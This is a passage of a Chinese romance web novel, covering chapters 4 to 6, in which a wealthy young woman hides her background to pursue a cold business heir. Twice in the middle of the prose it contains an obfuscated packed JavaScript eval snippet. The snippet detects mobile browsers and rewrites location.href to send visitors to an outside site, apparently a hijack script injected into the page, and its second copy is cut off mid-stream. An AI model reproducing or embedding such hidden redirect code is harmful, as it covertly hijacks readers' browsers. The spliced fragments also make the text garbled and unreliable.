岑稚许转身牵住庄晗景,晃了下她的手臂。 两人一起长大,岑稚许什么心思,庄晗景瞟一眼就明白了。 尽管搞不明白岑稚许葫芦里在卖什么药,庄晗景还是配合地笑,“辞哥,阿稚她性子比较直,要是说错了什么话冲撞了您,您别放在心上。” 也不知道这份言论有没有骗过谢辞序,他眸色平静,反应也很淡。 “我还不至于跟小姑娘计较。” 虽然小他五岁,但岑稚许的确算不上什么小姑娘,小霸王还差不多。 所幸谢辞序没有想到那边去。 没有了身份的阻碍,岑稚许就像是藏匿在暗处的猎豹,连神态都变得松弛许多。 谢辞序又接了个电话,一位身高腿长的年轻男人疾步走来,在他耳边说了些什么,看样子应该是他的特助。 能够成为太子爷身边的特助,处事必然滴水不漏,向庄晗景和岑稚许表达完歉意后,谢辞序准备离开。 通体漆黑的劳斯莱斯已在楼下备好,随时等待着。 谢辞序一行人走的是电梯,岑稚许踩着高跟鞋健步如飞,从楼梯通道赶过去,在他倾身上车前,蓦然叫住他。 “谢先生。” 熟悉的嗓音让谢辞序脚步微滞,转身便看到她因呼吸不稳而起伏的胸骨。 岑稚许的皮肤很白,身形纤薄,胸前的弧度却很饱满,昳丽的脸上泛起一层酡红,在夜色下分外动人。 即便狼狈,也美得惊艳。 似乎是有话要说,柔软的红唇微张。 她不像是会欲言又止的个性,此刻大概只是还未缓过来。 谢辞序想不到她竟会为了追上他,穿着七厘米的高跟鞋,从楼梯一路下行。 谁都知道,他不会为了任何意外推迟行程。 此刻竟破天荒地给了她特权,他抬眸朝她看来,低沉的黑眸侵染着夜色的冷冽,“我只给你三分钟的时间。” 或许是觉得这份妥协显得仁慈,会给她一种他可以被随意冲撞和冒犯的错觉,他冷声补充。 “但没有下次了,岑小姐。” 4. 陷落 “没有下一次,也许会有再一次,千万次。”岑稚许故意听不懂他话语中的冷淡,清澈的瞳孔里漾出一点骄矜的笑,“毕竟谁能笃定地预知未来呢?” 入夜后的温度沾染着乍冷的凉意,灯影将她本就绰约的身形拉得修长,她站在纸醉金迷的夜色里,用一双盈盈的眸子缠住他。 直白而热烈,没有半分羞怯。 说是缠,或许用词不太准确。 相比于初见时的越界靠近,她今晚格外规矩,恪守着社交距离的分寸,眼神很干净,不似蛛丝般缠结。 之所以会有那样的误解,或许是她美得太艳丽。 谢辞序微眯了下眸,并没有同她继续聊下去的打算,薄削俊朗的面庞带着一点被戏耍的阴沉,“原来岑小姐专程跑下来,只是为了说这几句无关痛痒的废话。” 他不算有耐心的人,自然也不会留有太多情面。 今晚三两言语的交锋中,岑稚许对谢辞序的疏冷有了更深的认知。这样的男人并不好搞定,悦耳奉承的话他早已听腻,倘若将姿态摆得太低,他必定不会分来一个眼神。 也不能显得太过清高端着,恰当时刻也需要显露脆弱。 “刚才竞价的时候,谢先生应该看出来了,其中一样拍品,我们原本势在必得。” 谢辞序视线微垂,重新落回她明艳的脸上,声色淡淡:“你的意思是,我横刀夺爱,抢了你们的东西?” 他的用词太过犀利,岑稚栩抿了抿唇,也没介意,解释说:“其实我们的预算只有四百万,一时上头,才跟着举了两次牌,要不是刚好碰见谢先生,晗景回家肯定要挨骂。” 富养出来的千金小姐,随手花费个几百万的确不算什么,难就难在庄缚青对他这个妹妹盯得严,超出能力范围同人竞价这种事,显得太过冲动。 谢辞序冷眉瞄她,没作言语,也没拆穿她状似前后矛盾的话。 说是跟着庄晗景来见世面,在提起拍卖时,偏要一口一句“我们”,更像是未经世事的年轻女孩,凭着脑热而涌起的虚荣心。 岑稚许始观察着谢辞序的表情,她不动声色地将话题拉回正轨,眼睫稍垂,佯装无意识地揪紧裙摆,复又散开,“今晚的确太过惊心动魄,或许以后回想起来,都要为这场不顾一切的疯狂而买单。” 在成年人的钓系游戏中,这时候往往会宽慰,亦或者顺势问她其中缘由,而谢辞序显然不属于饮食男女中的一员,他只是静默地站在那里,矜贵落拓,像夜幕里色调发蓝足以让人失温的海。 一阵风缱绻的掀起她的垂落在肩侧的秀发。 大概是先前太过焦急,身体受了热,出了一层薄汗,此刻觉察出寒意,岑稚许脚步虚浮般往前踉跄了半步。 谢辞序眼底闪过一抹深色,若有所感般,往后抵退。 殊不知,高级猎人从不会使用拙劣的戏码,岑稚许早已料到他不会扶住她,因此并没有演得太过,很快稳准身形,像一只倔强又高傲的天鹅。 或许是觉得误会女性投怀送抱显得不够绅士风度,谢辞序神情稍缓,语气听不出什么温度,“你原本打算投多少钱?” 开门见山,同她的迂回婉转形成鲜明的对比。 岑稚许长睫颤动,有些讶异他竟然代入了她编织的故事里。 “三十五万。”她说了一个较为保守的数字。 庄晗景的担忧不无道理,她只是一时兴起,在坏心思浮出来时,当然可以装得天衣无缝,要是长久以往,她做不到自圆其说,降低太多生活水平。 “我最近在进行这份残卷的课题研究,晗景听完后也感兴趣,说想出一期同类题材的珠宝设计,我俩就过来了,虽然这笔钱相对于竞价来说显得九牛一毛,但这是我能拿出的全部,总不能让晗景太吃亏。” 后面的话岑稚许不再赘述,整场事件的动向已经明晰。 家境优渥的庄家千金为好友竞夺拍品,两个年纪不大的小姑娘手上没多少钱,价倒是敢喊。 谢辞序漫不经心地睇来视线,似是觉得有趣,冷隽的眉眼里溢出一丝轻讽。 他并未对这个故事作出任何评价,岑稚许也宛若终于舒一口气般,轻快道:“今天这场教训,我受益匪浅。耽搁谢先生宝贵的三分钟了,谢谢你听我倾诉,再见。” 岑稚许说完,朝谢辞序微微躬身,道完别后,娇艳的脸上笑靥更甚,踩着高跟鞋迈入夜色中。 她看起来像是完全没有心理负担,只将他当成了无所顾忌倾诉的对象,不怕暴露自己虚荣与糟糕的另一面。 谢辞序的表情变得很微妙,直到目视着她离开,经助理提醒,才信步上了车。 有了今晚的插曲,特助斟酌后,再次确认,“谢总,残卷还需要以集团的名义,捐赠给京北大学吗?” 劳斯莱斯车内,助眠的白噪音悄然运作,男人凌厉沉静的眉眼没有半分波动,“既定的事情,以后不要多此一举提问。” - “不是吧!你在底下跟谢辞序说了那么久的话,竟然没有提出把残卷买过来?” 庄晗景对她今晚的这种操作非常不解。 回到包厢后,岑稚许也没了继续参加拍卖会的性子,让主厨提前将餐品上齐,满满当当摆了一桌子,几支盛得正艳的芬德拉插在铜瓶中,氛围感很浓。 “不是买,最多也就是借过来看看。” “当然,我没提这个诉求。” 岑稚许顺手拍了张照片,不疾不徐地给她倒了一点红酒,“宝贵的时间只有随心所欲地浪费,才能体现它的价值。” 庄晗景没谈过恋爱,就连dating都是岑稚许在背后当军师,对于那些你进我退的暧昧推拉技巧一窍不通,也听不明白,不过苗头还是能看出来一点。 “真看上谢辞序了?” 岑稚许从不在庄晗景面前避讳心思,“倒也算不上。就是觉得他一身傲骨跟我犯冲,让人想折碎。” 岑稚许的确很喜欢谢辞序这款,不过两人井水不犯河水,最初也没想过主动招惹,现在最多算感兴趣的阶段,打发时间而已。 庄晗景接受能力良好,既然该提醒的话都说了,也没必要扫兴,反正不管发生什么,她都站姐妹。 不过就是可惜了傅斯年这根好苗头,她还挺磕清冷外交官cp的。 “别人隐瞒家世,是怕对方只惦记着背景后的资源,谢辞序跟你家门当户对,干嘛搞这么麻烦。”这场戏刚演到开头,庄晗景就已经开始替岑稚许憋屈了,“而且还装穷,你又不是不知道,圈子里挺讲究这些的,就算是真看上他,把自己放在那么低的位置,也太不像你的个性了。” 岑稚许笑容柔柔淡淡的,“我又不是会受委屈的角色。” “更何况,人和人之间的高低位差,也不是靠这个决定的。” “这不是担心嘛。”庄晗景瘪嘴,煞有其事地念叨着,“阿稚你放心,要是有人欺负你,我第一个不同意。我哥第二个。” 明显夹带私货的言论,听得岑稚许无语凝噎,她一笑而过,没和庄晗景就这件事继续争论。 从拍卖会上空手而归后,岑稚许去看了几套房子,打算用来做文物修复工作室,由于不是以盈利为主的,对地段的要求不太高。 看了几套,结果却都不大满意。 既要采光通透,又要清幽雅静,最后挑来挑去,还是看上了中式庭院,地界远离市区,一池三山,移步异景,各方面都还不错。 正好还是上下叠层,将来说不定有别的用处。 付款敲定后,接下来还得琢修改硬装的事,岑稚许对于感情的事上心快,淡忘得也快,不多时就将谢辞序抛之脑后。 她大学是在国内顶尖学府读的,休了双学位,如今想起来也算阴差阳错,当初岑女士捐了七位数的科研资金,耳提面命要她跟着管理学院的教授潜心学习,结果她倒是跟历史学院的师兄师姐相见很晚,就连现在都还有联系。 得知她回国,几个还在刘老那读博的师姐开玩笑说要给她接风洗尘,群里一派热闹。 岑稚许推掉了服装秀场的邀请,欣然赴约。 阔别两年再回母校,四季更替仍旧一如往昔,研究室里还放着她以前去景德镇玩时烧的瓷瓶。 “那天看到你朋友圈说回京市了,还以为你玩笑呢。” 她们不太清楚岑稚许的真实背景,只知道她有个掌控欲极强的母亲,之所以在剑桥攻读MBA硕士,也是源于家里不得不完成的硬性指标。 算算时间,这个时候岑稚许的确不应该回来。 岑稚许将带过来的资料放下,嗓音清雅,好似在说一件平常事,“我申请了休学,一年时间,想给自己放个假。” “现在国内国外都挺卷的,要是没有生活压力的话,多gap几年也没事。” “说起来刘老再过几年也不打算继续留校了,返聘这么多年,有些力不从心。” “前段时间不知道从哪传出消息,说一个墓窟里挖出些法华经变画的古籍记录,刘老下午还在跟校长吃饭,当晚就买了机票,换成高铁再坐大巴、最后从三轮车上摔下来,把师娘都气晕了,后来才知道,就是搞做旧造假那群人炒出来的。” 说到这里,几个师兄师姐的脸色都不太好看,岑稚许也很无奈。 “你们多劝劝他,帮他甄别消息,免得老是竹篮打水一场空。” 刘老的一生都奉献给了石窟考古与保护,身任数职,名誉众多也是一种束缚,岑稚许记得几年前他就说过,会回到西北,直到最后一滴泪淹没在黄沙中。 岑稚许神色有些出离,为错过那副残卷而生出歉疚的情绪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054569|149139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不由自主地想起谢辞序那张淡漠沉冷的脸。 “阿稚!你从哪找到的这些绢画?” 师姐雀跃的声音将岑稚许的思绪拉了回来,众人激动地连手都有些抖,迫不及待又小心翼翼地辨察着这零星几样文物。 早些年有关石窟的瑰宝极其璀璨,只不过后来流失海外,辗转数年,有的留在了私人博物馆,有的被个人收藏家留存,岑稚许大浪淘沙,才将之带回。 她知道这些资料对于这几项课题研究的重要性,哪怕费劲周折,也不觉麻烦。 “参观博物馆的时候正巧看到了。”岑稚许故意把过程说得简单,一双狐狸眼里的光芒素净又柔软,“可惜缘分不够,不然我真想把我们丢的全带回来。” 她这几个师兄姐都是名副其实的学术迷,刚才还有余力跟她聊天,这会一颗心思全扑在了带回来的文物上,恨不得当下就将每一个细节分析透彻。 “经卷有破损,不过文字保留还算完整,我之前翻阅过资料,可以大致推测出被抹去的内容,但要完全确定的话,还需要刘老定夺。”岑稚许一边说着,一边将u盘里整理的内容拷贝过去。 从严格意义上,岑稚许不是科班出身,也没有类似的学术背景支撑,不过她参与的文物修复和石窟课题研究并不少,又有自己专业而独到的见解,志趣相投之下,一不小心就讨论了整个下午。 以至于刘教授同院长过来时,她们还沉浸其中。 跟在院长身后的,是位面容清正的青年导师,还有他带的研究生,一行人加起来足有数十人,浩浩荡荡的,书卷气息浓重,像是要参加某种学术会议。 “刘教授,谢先生大概十分钟后到,您先带学生准备准备。谢先生来得突然,我们虽然没着正装,也不能太失了礼数。” 不多时,研究室被整理收拾干净,茂盛的林荫道下,劳斯劳斯缓缓驶入,象征着权力与地位的连号车牌映入眼帘。 现在京城就算新能源的车牌都得排个四五年,油车更是有价无市,纯靠随机摇号,没点门路的,等到下辈子都未必能中,而这种顶着明晃耀眼的京A,后头五位数字齐整统一的,谁看了都不由得屏住呼吸。 变化来得错不及防,岑稚许不想给师兄师姐添麻烦,反正院长也不认识几个人,索性就跟着众人等待。 京北大学这样的百年名校,同商企关系紧密,这样的阵仗也不奇怪,岑女士当初同学校签订协议时,比这还夸张。 岑稚许站在最后排,慢悠悠打了个哈欠,忍不住有些嫌弃这位谢先生,走路是不是太慢了些,她还想早点溜走,不然混个合影怪尴尬的。 大概她最近真的跟谢辞序犯冲,眼尾涌出点泪花时,不偏不倚对上那双宛若黑曜石一般的眸子。 他单手插兜,站姿显得有些随意,眉骨下意识地轻拧着,使得这张本就凌厉的俊颜多了一股落拓不羁的味道。 直到此刻,岑稚许才不得不承认。 他身上的每一处,眉骨、喉结、手腕,乃至宽肩窄腰,修长双腿,最后到禁欲矜贵的气质,都很顶。 谢辞序的目光在她身上停留的时间,比上一次更久,但旋即移开,他的表情始终很平静,没有惊讶,更没有厌恶。 几个小时前,她还在遗憾没能拍下的那份经变画残卷,此刻已然成为谢家太子爷对于京北大学石窟文化研究的无偿赠献。 场面话说完后,惯例来到了合影环节。 众人都知晓谢辞序性子冷淡,不太敢站在他身后,以他为中心的半径,除了第一排的院长和教授、领导,显得空寂,好似缺了一角。 刘老慈眉善目地朝岑稚许招手,“阿稚,你站这来。” 谢辞序撩起眼皮看向藏匿于角落里的人。 棕栗色的卷发随手挽起,几缕发丝垂落耳侧,显然没有刻意打理过,细白的脖颈戴着银白材质的项链,娇薄锁骨明显,整个人气质清冷,同那晚的瑰丽截然不同。 岑稚许没有动作,笑意染开,显得温婉而懂分寸,“刘老师,我站谢总旁边,恐怕不太合适。” 刘老看到岑稚许本就是意外之喜,还没来得及问她的近况,此刻看到两人同框,莫名觉得般配,人上了年纪就热衷于撮合姻缘,才想着制造一点机会。 院长见刘老这么关照岑稚许,以为她是他最得意的门生,也跟着笑开,“谢先生一直支持京北大学的发展,每年进入谢氏集团的毕业生无数,合作创建的研发中心也吸纳了很多高精端人才,校企一家亲,怎么能说不合适?” 岑稚许心想,难怪这位杰青能升到院长的位置,说话句句滴水不漏。 她脸上始终维持着惯常的笑容,正打算给自己台阶,谢辞序极轻地挑起半边眉稍,声色沾着淡薄的哑,似是为她解围。 “太勉强的话,也没必要委屈自己。” 5. 陷落 低辞冷冽的嗓音响起,如同平静的湖面漾开一圈涟漪,所有人都不约而同地看向这位年轻却不苟言笑的掌权人。 几位师姐更是睁圆了双眼,目不转睛地用视线在两人间来回扫射,要知道,谢辞序天性淡漠,即便是时有资助京北大学,私交仍旧泛淡,从不会多管闲事,更何况是为人解围。 相较于众人的讶异,两位当事人倒显得无比平静。 岑稚许眼里的意兴阑珊消散一些,灼然的视线同谢辞序相撞,似是觉得她的眼神太过热烈,谢辞序眉心微不可闻地跳了跳。 他轻咳一声,提醒岑稚许别太过火。 这份暗示非但没有奏效,反而将星星之火引燃。 岑稚许的目光轻落在他的喉结处,饱满而锋利的形状,抵在衬衣领口处,像是从未被人染指过,透着斯文禁欲之感。 美色是最容易诱人堕落的罪恶毒药,有那么恍惚的一瞬间,岑稚许在想,谢辞序这样的人,尝过接吻的滋味后,会不会跟她一样上瘾。如果在意乱情迷之际,吻他的喉结,这双漠然似清雪的眸子,又会变成什么情景? 当着本人的面臆想,让岑稚许从心底生出一种难以言说的微妙慌张。 她收起乱七八糟的思绪,礼貌颔首,一双软唇轻抿着,主动调整站位,填补了照片构图的缺陷。 一句感谢的话都没有多留。 举着摄像机的学生笑容灿烂又生涩,向院长比了个“OK”的手势示意,谢辞序那张面孔随意捕捉都很出众,完美到挑不出一丝瑕疵,同站在他身侧,隔了一小段距离的岑稚许,看起来竟无比般配。 院长在同刘老说着挽留用餐的话,谢辞序淡声推辞。 凑过去看照片的学生自觉没有加入大佬的话题,小声指着照片感慨: “阿稚的面部平整度也太高了,研究室这顶光把大家照得像妖魔鬼怪现形,只有阿稚跟开了美颜磨皮滤镜似的。” “谢总的五官也好绝!你俩跟我们仿佛不是一个图层的。” “可以直接放到学院官网写一篇新闻稿的程度。” 岑稚许扫了眼照片,大概是众人的玩笑话影响,竟觉得是有那么几分合适,两个人拍照都一样习惯冷脸。只不过,她的冷是只有眼神泛着冷,唇角轻弯起柔和的弧度,而他的冷,是面上没有一丝情绪的寡淡。 连拍可以捕捉脸上许多细微的情绪,岑稚许还没翻完,谢辞序同院长那边就已经结束了交谈,热夏季节的天气总是多变,枝繁叶茂的树影摇曳,旋即席来狂风暴雨,掀起一片浅淡的尘土气息。 研究室连着长廊,楼上就是会议室,有茶水总比研究室里全是书卷和成堆的纸质书籍更适合待客,院长见状提议,“谢先生,这雨来得及,一时半会应该也停不了,要不去楼上稍作休息?” “麻烦了。”谢辞序说。 等这位金尊玉贵的谢先生离开后,众人才松了一口气。 岑稚许忍俊不禁,“看样子这位谢先生应该经常捐赠,怎么你们这么紧绷,他很难伺候?” 师姐思忖了半晌,解释:“他不是那种事多又烦人的,主要是气场太强,跟普通人有壁,感觉也挺不近人情的。” “是挺傲的。”岑稚许应声,想起什么似的,“不过倒也没那么无可救药。” “他上次来参加校庆,表白墙和各种群全都炸了,铺天盖地都是各种偷拍视角的生图,比顶流来学校的影响程度还高。”师姐兴致勃勃地去翻手机相册,“喏,就是这张,眼里的征伐杀气都快溢出屏幕了,应该是不满被镜头拍下,结果刚好出了张盛气凌人的神图。” 谢辞序这种风格的男人很少见,皮囊如此绝佳的更是稀有,现如今娱乐圈都找不到这款,他就算没有投生在钟鼎鸣食的谢家,顶着这张绝杀脸,也足够半辈子吃喝不愁。 先前从没关注过,也就不知道谢辞这么受欢迎。 直到他闯入她的视野,周围仿佛每一处都能看见他的影子,就连身边的人也意外同他有所交集。 心理学上,将这个叫做视网膜效应。 岑稚许真正看清那张被奉为神图的照片后,捺不出发出了很轻的惊叹声。他坐在观众席的第一排,半倚着,姿态慵懒而倦怠,骨节分明的手中把玩着一枚校庆纪念徽章,从拍摄角度来看,应当隔了很远,模糊的像素也难以掩盖那股若有似无的疏离。 “怎么样,是不是看起来凶得要死,也帅得要命。” 话音刚落,谢辞序一行人已然下楼,擦肩而过之际,岑稚许指尖轻点了下屏幕,将手机还回去,询问:“师姐,能借我把伞吗?” “你要拿就拿去呗,反正你赵师兄他们搁了挺多在研究室里。” 师姐热情地去柜子里翻找,岑稚许坐在原地,意识到谢辞序极具侵略性的身躯就在她身侧,心跳莫名慢了半拍。 “岑小姐。” 纷杂的雨声里,落地的声音仿佛也沾上一缕潮意。 岑稚许抬眼,漫不经心地看向他,分明是仰视的姿态,却让谢辞序生出一种强烈的错觉,地位颠倒,孤高悬于天际的月亮,倒影在水面时,才是真正的昙花一梦。 而这海市蜃楼般的瞬间,被她毫不留情地收回。 岑稚许大方展露笑颜,“刚才谢谢你给我台阶下。不过碍于在场的人太多,我不好表现出跟你认识的样子。” 沉吟片刻后,谢辞序眸光转向幽深,似是对她的回答不满意。 “跟我认识,会给你带来麻烦?” 也许是一开始奠定的基调作祟,在她面前,他说话向来单刀直入,言简意赅到没有任何过渡的引句。 这句话带有一点兴师问罪的意味,岑稚许不想太圆滑,似笑非笑道:“是会给你带来麻烦。” 谢辞序没有说话,也不知道是不是默认了她这套说辞。 岑稚许以为他会说些什么,再不济嘲讽一句,劝她收敛。 但他只是淡瞥她一眼,便离开了。 透过雨痕斑驳的玻璃窗,岑稚许看见劳斯莱斯并未急于启动,单向可视的车膜隔离了窥探的视线,她看不清里面的情形,在急促搅动的暴风雨里,它像一只沉默蛰伏的凶兽。 雨势并未有渐停的趋向,雨水汇集,留下蜿蜒曲折的水痕。 雨刮器摆动,车子已然点火,但没有谢辞序的首肯,司机不好贸然启动,感觉他像是在等什么人,又觉得不合常理,频频扫望。 宴特助见状,试探性地问: “谢总,要先回集团吗?” 后座假寐的男人睁开眼,余光不经意间落向窗边,只余一片空寂,哪里还有那道窥伺的视线。 他单手扯松领结,寒潭似的深眸夹杂着一丝波澜,“去天禧苑,晚上的行程你调整一下,市场部的会议改为线上,让许辉先带他们团队汇报半年度的指标完成情况。” “阿稚——” “你换把大点的伞,免得待会淋感冒了。” 车外的呼唤声穿破空寂,打断了谢辞序的工作安排,只见那道纤瘦的倩影在雨中点地,她撑的那把伞也不知道放了多久,伞面锈迹和褶皱斑驳,像是随时会被风折断。 或许被风折断的不止伞柄,还要她不堪盈盈一握的腰肢。 先前只觉得她身形纤浓合度,直到此刻才发觉,饱满之处几乎快要呼之欲出,曲线妩媚,即便在如此飘摇的雨中,也美得像摇曳摆动的清荷。 她这样走过来太过惹眼,宴凛只一眼便克制地收回视线,倏地收紧的心脏扰乱了思路,让他一时间忘了回应谢辞序。 “宴凛。” 谢辞序沉声,眼眸闪过莫名的锐利,曲起的指节轻点,“让人力在OA上发布公告,工作的时候分心,还需要我来提醒——” 宴特助低头:“抱歉,谢总,我马上联系。” 谢辞序行事风格纵然雷厉,对身边信任的人却算得上宽厚,只要不犯原则上的错误,都会睁一只眼闭一只眼,而今天竟生出一股莫名的烦躁,实在罕见。 岑稚许就这样再次撞到了谢辞序的枪口上,劳斯莱斯车型比较宽,占据了大半道路,她侧着身正欲绕过,车窗缓缓降下,谢辞序拧眉睨向她,声色泛冷:“雨这么大,你现在走?” 明明是关心的话,从谢辞序口中说出来,没有半分温度。 岑稚许指尖蜷了蜷,“我打了网约车。” 谢辞序声音很冷静,很轻易地拆穿:“这里很长一段路都限制网约车通行。” 他微微一顿,见她胸前衣襟微湿,不动声色地将目光落点停留在她素净的脸上,“你打算就这么走过去?” 岑稚许表情无辜:“师姐骑她的小电驴送我过去。” 谢辞序眉峰挑起,似是在思考小电驴是什么东西,岑稚许心里感慨太子爷还真是稳坐高台,连这点生活常识都没有,“就是电瓶车,她有遮雨棚,待会可以罩上去。对了,还有雨衣,双重保险,也不至于弄得很狼狈。” 听了她的描述以后,谢辞序大概理解了什么个保险法,表情一时间变幻莫测。 岑稚许身上有种娇养长大的自洽感,又出现在射击馆和拍卖会这样的场合,谢辞序很难不怀疑她的身份。 到了现在,他愈发看不透。 “岑小姐要是不介意的话,我可以送你一程。” 岑稚许故意折腾,为的就是这句话,她欣然应允,“那我跟师姐和刘老说一声。” 车内很宽敞,谢辞序坐在另一侧,后排杯架上放着一杯咖啡,清浅的乌木香气若有似无地笼罩在车内。他的手自然垂落,腕表折射出细碎的光,岑稚许看清型号,觉得谢辞序品味不俗,跟她审美还算一致。 或许是注意到她的注视,谢辞序收回手,改为搭在西裤上。 岑稚许发誓,她只是单纯地欣赏,西裤面料质感不错,包裹着一双强健有力的长腿,搭在膝盖上的手是筋络分明的漂亮,惫懒的坐姿多了一股难以言说的清绝。 不过盯着异性这样看,到底还是不太合适,岑稚许欲盖弥彰般夸赞:“谢先生的手真好看。” 二十八年来,没有人敢这样换胡乱扫视,再单独夸他的手,谢辞序有些后悔让她上车。 “……” 岑稚许是个很能适应环境的人,面对他不言的冷淡,她也不恼,滴溜溜的视线得寸进尺地移至他几分钟前才扯松的领带上。 原先系的是什么领结她没注意,只觉得谢辞序真是耐看,锋利的喉结旁泛着不明显的酡红,大概是解领带时太过粗暴,磨红皮肤也不在意。 禁欲的气质一旦被打破,必然会衍生出更加轻纵的反差。 他看上去似乎也不像想象中循规蹈矩。 “谢先生的……” “岑小姐,安静一点。” 谢辞序冷着一张脸,屈指疲惫地揉着眉心,制止了她对于他身体的赞美。窗外骤雨飘零,车身行驶时,不便摇下车窗,以至于鼻尖萦绕着源于她身上的馨香无法散去,令他肌肉本能地绷紧。 不能继续逗弄他,岑稚许有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岑稚许一到这时候,上下眼皮就开始打架,加上谢辞许一言不发,前排他的司机和助理也不是能攀谈解闷的个性,她没多久就睡着了。 以往车内都是她和庄晗景,岑稚许睡觉不老实,脑勺一寸寸往旁边滑动,等谢辞序结束完线上会议,肩侧多了只毛绒绒的脑袋。 少女的发丝如同绒毛般抵在他的下颚,有些痒,钻心地往心脏深处探。 异样的陌生情愫让谢辞序喉结微不可闻地滚了滚。 他蹙紧眉梢,低声,“岑小姐,你越界了。” 声量不大,却满含威慑力,就连正在用AI协助整理会议纪要的宴凛都听出了谢辞序正处在发怒边缘。 车内只余一片沉静而均匀的呼吸声。 谢辞序用了三秒的时间,确认她没有装睡。 也不知道该说她心大,还是太没有警惕心,在仅有数面之缘的男人车上陷入沉睡。 谢辞序从容矜冷的面上浮出被压制的不悦,就像是一拳打在了棉花上,轻飘飘的,没有说服力,也没能让她转醒。 短短几秒的时间,谢辞序已然度日如年,他烦躁地握住她纤柔的手臂,试图将她旁边推,哪知岑稚许从鼻尖溢出一声很低的嘟哝,像是撒娇,又像是不满,猫似的软咛。 谢辞序从没遇到过眼下的情景,不耐的意味更浓。 “岑稚。” 他冷声唤她,连自己都没意识到,怎么就偏偏记住了她的名字。 “晗景你好吵……!” 她歪着头,双臂反倒缠了上来,虚环着他的腰,扬起下巴在洁整如新的西服上蹭了蹭,又嫌弃面料太过冰冷,往后缩了缩。 天生姣好的容颜,哪怕未着粉黛,也让人很难移开眼。她的唇色是很干净的淡粉,此时却泛出海棠艳色,紧贴着男人的领带,柔软可欺到变了形。 大概真的是他的西装不够细腻,才会让她蹭一下嘴唇就变红。 谢辞序呼吸乱了几息,可惜罪魁祸首俨然不知。 终于将她推回原位,车内重新陷入寂静,谢辞序的心却怎么也静不下来,只能压制浮生而出的躁意。 …… 到了她报出的目的地,足足等待了十几分钟,岑稚许才悠然转醒,只是头有些痛,像是先前淋雨玩脱的征兆。 果然,苦肉计这招,还是不太适合她,白白让自己受罪。 岑稚许现在只想赶紧回去洗澡睡觉,因此也没什么心思继续和谢辞序极限拉扯,道谢的话有气无力,显得有些敷衍。 她倒是好,来去自如,全然不知道刚才倚在谢辞序肩侧时,怎样逾矩,更不知道谢辞序因此一整晚都心浮气躁。 刚走了几步,正要给庄晗景发消息,身后一个高大的人影撑着黑伞叫住她。 是谢辞序的助理。 “夜里太凉了,谢总让我给您送件外套。” 岑稚许没有接,本能地看向窗门紧闭的车内,暮色深重,他甚至不愿意出面,却把他的西服外套借给她。 总不能是为了让这场邂逅有来有回吧? 宴特助将西服原封不动地送回来时,谢辞序漫不经心地“嗯”了一声,那萦绕扰乱他心神的气息仿佛挥之不去,他不太想继续看见这件西服,将领带扯下,随手掷于旁座。 “她说了什么?” 宴特助只能如实相告:“问了我的名字,说改天请我吃饭。” 谢辞序静水流深般的眸子里涌上一丝清浅的戾气。 6. 陷落 岑稚许并不知道自己犯懒没有接过谢辞序西装的事,给宴特助带了小小小的困扰。 从师姐那要来了合照,她随手调整了下光线,本来想给人物简单修一下图,照片放大缩小,可谢辞序的五官太出彩,琢磨半天也找不到能下手的地方。 她索性不带任何杂念地、纯粹地欣赏了一阵,路过复印店时顺手洗了出来。 带着庄晗景去看工作室装修进度的时候,她从onthego手提袋里翻效果图时,封了胶的照片不甚掉落,沾了层灰,庄晗景捡起来看一眼,啧啧称奇:“你这进度也太快了吧,这么快就搞到了合照?” 岑稚许面无表情地用湿纸巾擦干净,“这么多人呢,不是你想象的那种暧昧。” 庄晗景联想到岑稚许昨晚无缘无故跑到她闲置的公寓那休息,稍一推测便琢磨出事件走向,猜测两人既然偶遇,再怎么着都有让人送回家的戏码。 “想不到谢辞序看着跟个冰块似的,还挺有绅士风度的。” “还行吧。”岑稚许说,“估计没开窍呢。” 昨晚下车前,她总觉得他看她的眼神带着点意味深长,好像她哪得罪了他一样。就算是堵车浪费了一些时间,也不该摆出那种表情吧。 想不通,岑稚许倒也不内耗,“过几天我搬点东西去你那,就算是假的,也得装个像样,让房子勉强有点生活气息。” 庄晗景把那套房子当酒店,十天半个月去不了一次,洗漱用品都是一次性的,比她离开京市那年显得冷清许多。 听出她嗓音有点不对劲,庄晗景顿时又有些不大高兴,犹疑道:“你该不会为了谢辞序故意淋雨吧?” 岑稚许耸耸肩,没说是,但也没否认。 庄晗景从她游刃有余的表情里看出端倪,饶是知道岑稚许有势在必得的节奏,身为闺蜜,也免不了在心底给这段将来可能看似不平等的感情扣上几分。 “谢辞序再难追也不能拿自己的身体开玩笑啊,要是让岑阿姨知道,铁定要板着脸训斥你。”庄晗景说到一半,想起谢氏庞大的财团,摇摇头说,“没准还要撮合你和谢家联姻,到时候一辈子被绑死,想再自由就难了。” 恋爱可以随时谈,没感情了就一拍两散,结婚可不一样,利益如蛛丝缠绕拉扯,不再是两个人的事情。 提到岑女士,岑稚许多少还是心虚,她回来也算不得多隐蔽,大手一挥全款买下这套庭院,刷的是她爸账面上的卡,不至于惊动岑女士。 谈衍卡里那么大一笔资金浮动,银行肯定通知过他本人,父女俩通了场电话,谈衍表示不会泄她的行踪,但她爸那人整个四九城的都知道,说他是妻管严第一名,没人敢称第二。 消息传到岑女士那是迟早的事。 现在只能是能逍遥快活几天算几天。 岑稚许面上不显,心里笼了层柔雾似的,只说:“小打小闹而已,传不到她那去。” 庄晗景倚在栏杆旁笑,“我还以为你收心了,结果还是在试?”她咂吧嘴,咬到重音:“谢辞序你都敢试?” 岑稚许懒散的目光扫了回去,“别把我说得像情场浪子一样,哪场恋爱我亏待过谁?” 该喂的资源、该给的人脉,一样不少。 “他跟那些人不一样,他又不缺这些东西。你有的,他也有。” 